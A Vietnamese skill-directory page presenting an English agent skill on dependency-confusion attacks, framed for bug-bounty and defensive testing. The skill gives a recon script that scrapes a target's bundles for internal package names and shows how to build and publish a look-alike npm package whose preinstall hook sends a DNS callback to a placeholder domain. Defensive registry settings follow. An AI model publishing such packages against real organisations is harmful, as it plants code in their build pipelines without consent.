dep-confusion
Skill này làm gì
Hướng dẫn này nói về dependency confusion, một điểm yếu trong chuỗi cung ứng khi hệ thống build tải một package công khai thay vì package riêng có cùng tên. Dành cho đội bảo mật quản lý registry package riêng.
Khi nào nên dùng
- ✓Khi công ty dùng tên package nội bộ và đồng thời cài đặt từ registry công khai.
- ✓Khi bạn muốn kiểm tra xem tên nội bộ có tồn tại dưới dạng package công khai chưa được đăng ký không.
- ✓Khi hệ thống build được cấu hình tìm kiếm cả registry công khai lẫn riêng.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Các build của chúng tôi dùng package npm nội bộ. Bạn có thể kiểm tra xem có tên nào trong số đó còn trống trên registry công khai không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent tìm tên package nội bộ trong các file công khai, kiểm tra xem mỗi tên có tồn tại trên registry công khai không, rồi báo cáo các tên cần được đăng ký hoặc khóa lại.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Dependency Confusion (Alex Birsan 2021)
When an org uses internal private packages (e.g. @target-internal/utils)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the same name at higher version.
Default resolvers pick highest version → public package runs in CI.
1. Reconnaissance — find internal package names
| Source | Pattern |
|---|---|
package.json in public repo |
"@target/foo" scoped packages |
package.json exfiltrated from web (/static/) |
dependency lists |
| Webpack bundles | leaked package.json strings |
requirements.txt / Pipfile exposure |
target-internal-lib |
pom.xml / build.gradle |
<groupId>com.target</groupId> |
| Github org code search | @scope patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u
2. Verify the package is private
# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate
# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available
# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq
If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).
3. Build the malicious package
mkdir attack-pkg && cd attack-pkg
# package.json
cat > package.json <<'EOF'
{
"name": "@target/internal-utils",
"version": "999.0.0",
"description": "auth-research only",
"scripts": {
"preinstall": "node beacon.js"
}
}
EOF
# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');
// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});
// Also collect basic env w/o exfil (just locally print for testing)
console.log({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
hostname_dns: dns.getServers(),
});
EOF
4. Publish
npm publish --access public
# For org scopes, may need to register the @scope first
5. Wait + observe
Within hours-days, target's CI will pull 999.0.0. Burp Collaborator
shows DNS hits.
6. Programs that PAY for this
- Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
- Many BB programs explicitly accept dep-confusion reports under their "supply chain" scope
- Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier
7. PoC framing (for the report)
DO NOT:
- Run any actual exploit logic
- Exfiltrate any data
- Steal credentials
- Disable security
DO:
- Generate a benign DNS callback (interactsh / Burp Collaborator)
- Capture the timestamp + source IP from your callback log
- Document the package as "research-only", deprecate it via npm immediately after PoC
- Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"
8. Severity
| Bug | Severity |
|---|---|
| Confirmed install on production build infra | Critical 10.0 |
| Confirmed install on staging/dev | Critical 9.0 |
| Internal package name exposed but no public install attempt | High (depends on data) |
9. Defender
- Block public-registry fallback for scoped packages:
.npmrc@target:registry=https://internal-npm.target.com/ - Use lockfiles + integrity hashes (
package-lock.jsonw/integrityfield) - For PyPI:
pip install --index-url internal-pypi/ --extra-index-url public-pypi/is BACKWARDS — use--index-url internal-pypi/ --no-indexand explicitly allowlist public packages - Reserve internal namespace prefixes on public registries before they're used internally
- npm: use the
@orgscope and publ
Câu hỏi thường gặp
Vì sao điều này xảy ra?
Nhiều công cụ quản lý package chọn phiên bản cao nhất có sẵn, ngay cả khi nó đến từ nguồn công khai.
Tên được kiểm tra như thế nào?
Bằng cách tra cứu trên registry công khai để xem tên đó có tồn tại không.
Cách khắc phục là gì?
Đăng ký tên trên registry công khai, hoặc ghim registry riêng làm nguồn duy nhất cho tên đó.
Chi tiết
Mô tả gốc của tác giả
Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14046
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.